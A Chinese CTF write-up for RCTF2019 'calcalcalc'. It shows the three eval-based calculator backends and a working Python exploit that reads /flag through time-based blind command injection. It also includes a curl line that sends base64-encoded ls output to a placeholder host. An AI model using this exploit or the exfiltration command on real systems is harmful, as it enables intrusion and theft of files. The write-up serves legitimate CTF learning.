[RCTF2019]calcalcalc 命令执行的时间盲注~~

0x01 题目源码

python
from flask import Flask, request
import bson
import json
import datetime

app = Flask(__name__)


@app.route("/", methods=["POST"])
def calculate():
    data = request.get_data()
    expr = bson.BSON(data).decode()
    if 'exec' in dir(__builtins__):
        del __builtins__.exec
    return bson.BSON.encode({
        "ret": str(eval(str(expr['expression'])))
    })


if __name__ == "__main__":
    app.run("0.0.0.0", 80)
php

ob_start();
$input = file_get_contents('php://input');
$options = MongoDB\BSON\toPHP($input);
$ret = eval('return ' . (string) $options->expression . ';');
echo MongoDB\BSON\fromPHP(['ret' => (string) $ret]);

同时加了一些限制

disable_functions = set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log
max_execution_time = 1
node.js
const express = require('express')
const bson = require('bson')
const bodyParser = require('body-parser')
const cluster = require('cluster')
const app = express()

if (cluster.isMaster) {
  app.use(bodyParser.raw({ inflate: true, limit: '10kb', type: '*/*' }))

  app.post('/', (req, res) => {
    const body = req.body
    const data = bson.deserialize(Buffer.from(body))
    const worker = cluster.fork()
    worker.send(data.expression.toString())
    worker.on('message', (ret) => {
      res.write(bson.serialize({ ret: ret.toString() }))
      res.end()
    })
    setTimeout(() => {
      if (!worker.isDead()) {
        try {
          worker.kill()
        } catch (e) {
        }
      }
      if (!res._headerSent) {
        res.write(bson.serialize({ ret: 'timeout' }))
        res.end()
      }
    }, 1000)
  })

  app.listen(80, () => {
    console.log('Server created')
  })

} else {

  (function () {
    const Module = require('module')
    const _require = Module.prototype.require
    Module.prototype.require = (arg) => {
      if (['os', 'child_process', 'vm', 'cluster'].includes(arg)) {
        return null
      }
      return _require.call(_require, arg)
    }
  })()
  
  process.on('message', msg => {
    const ret = eval(msg)
    process.send(ret)
    process.exit(0)
  })

}

题目大概的意思就是一个计算器,我们输入一个式子,会同时传到三个后端,当三个后端的计算结果相同时才会生效,否则失败~~

validate(value: any, args: ValidationArguments) {
    const str = value ? value.toString() : '';
    if (str.length === 0) {
        return false;
    }
    if (!(args.object as CalculateModel).isVip) {
        if (str.length >= args.constraints[0]) {
            return false;
        }
    }
    if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {
        return false;
    }
    return true;
}

这是对我们输入的正则检查~~

简单对这3种后端做一个总结,都过滤了个别危险函数/库,都做了超时设定。都会直接eval输入的参数。

0x02攻击思考

看完后端,我的第一反应:每一个后端都是直接进行eval,并没有预执行,或者放在sandbox中执行,那如果我们的恶意参数输入,确实是先执行后,才比对结果,那么最多只会看不到回显而已,按照规则,只能得到:

That's classified information. - Asahina Mikuru

但我们的恶意代码确实已经执行了。顺着这一点,我尝试考虑数据外带,例如:

curl ip:23333/`ls | base64`

但是通过docker-compose.yml中可以看见,三台后端都在内网,所以不能外带数据~~
想必大家都对sql盲注耳熟能详,其中有一种类型的注入叫做基于时间的sql注入,其原理是因为无论攻击者如何测试,网页回显永远保持一致,而攻击者只能通过时间来判断自己的结果是否成功。
对于这里的情况正好符合需求,因为我们无法得到命令执行回显,但可以得到网页执行的时间。
简单思考一下,前端做出的响应,一定是在3种后端都执行完毕后才进行响应。那么整个响应时间就会由3种后端,响应速度最慢的一个决定。那么我们是否可以只关注其中一个后端,让他的响应时间变为立即响应 / 延时5s响应,那么整个前端的时间就会变成立即响应 / 延时5s响应,那么我们就能通过前端的响应时间,来判断其中某个后端的执行结果是否成功。
但是这里我们遇到问题,不难发现,出题人在3个后端中都设置了超时1s的操作。
所以我们的payload

__import__('time').sleep(5) if {boolean_exp} else 1

最终的exp

#encoding = utf-8
import requests
from time import time

url = 'http://01e3f139-cfd0-45bd-8ac7-785de47d474b.node3.buuoj.cn/calculate'


def encode(payload):
    return 'eval(%s)' % ('+'.join('chr(%d)' % ord(c) for c in payload))


def query(bool_expr):
    payload = "__import__('time').sleep(5) if %s else 1" % bool_expr
    t = time()
    r = requests.post(url, json={'isVip': True, 'expression': encode(payload)})
    # print(r.text)
    delta = time() - t
    print(payload, delta)
    return delta > 5

def binary_search(geq_expression, l, r):	#二分法~
    eq_expression = geq_expression.replace('>=', '==')
    while True:
        if (r - l) < 4:
            for mid in range(l, r + 1):
                if query(eq_expression.format(num=mid)):
                    return mid
            else:
                print('NOT FOUND')
                return
        mid = (l + r) // 2
        if query(geq_expression.format(num=mid)):
            l = mid
        else:
            r = mid

# flag_len = binary_search("len(open('/flag').read())>={num}", 0, 100)
flag_len = 36
print('flag length: %d' % flag_len)

flag = 'flag{2ae5146c-eddd-41d7-90c9-3d3f850'
while len(flag) < 50:
    c = binary_search("ord(open('/flag').read()[%d])>={num}" % len(flag), 0, 128)
    if c:   # the bs may fail due to network issues
        flag += chr(c)
    print(flag)

这儿也可以参考飘零师傅的博客~~
一叶飘零
飘零师傅的命令盲注~~
CTFtime

你可能感兴趣的:(BUUCTF刷题记录)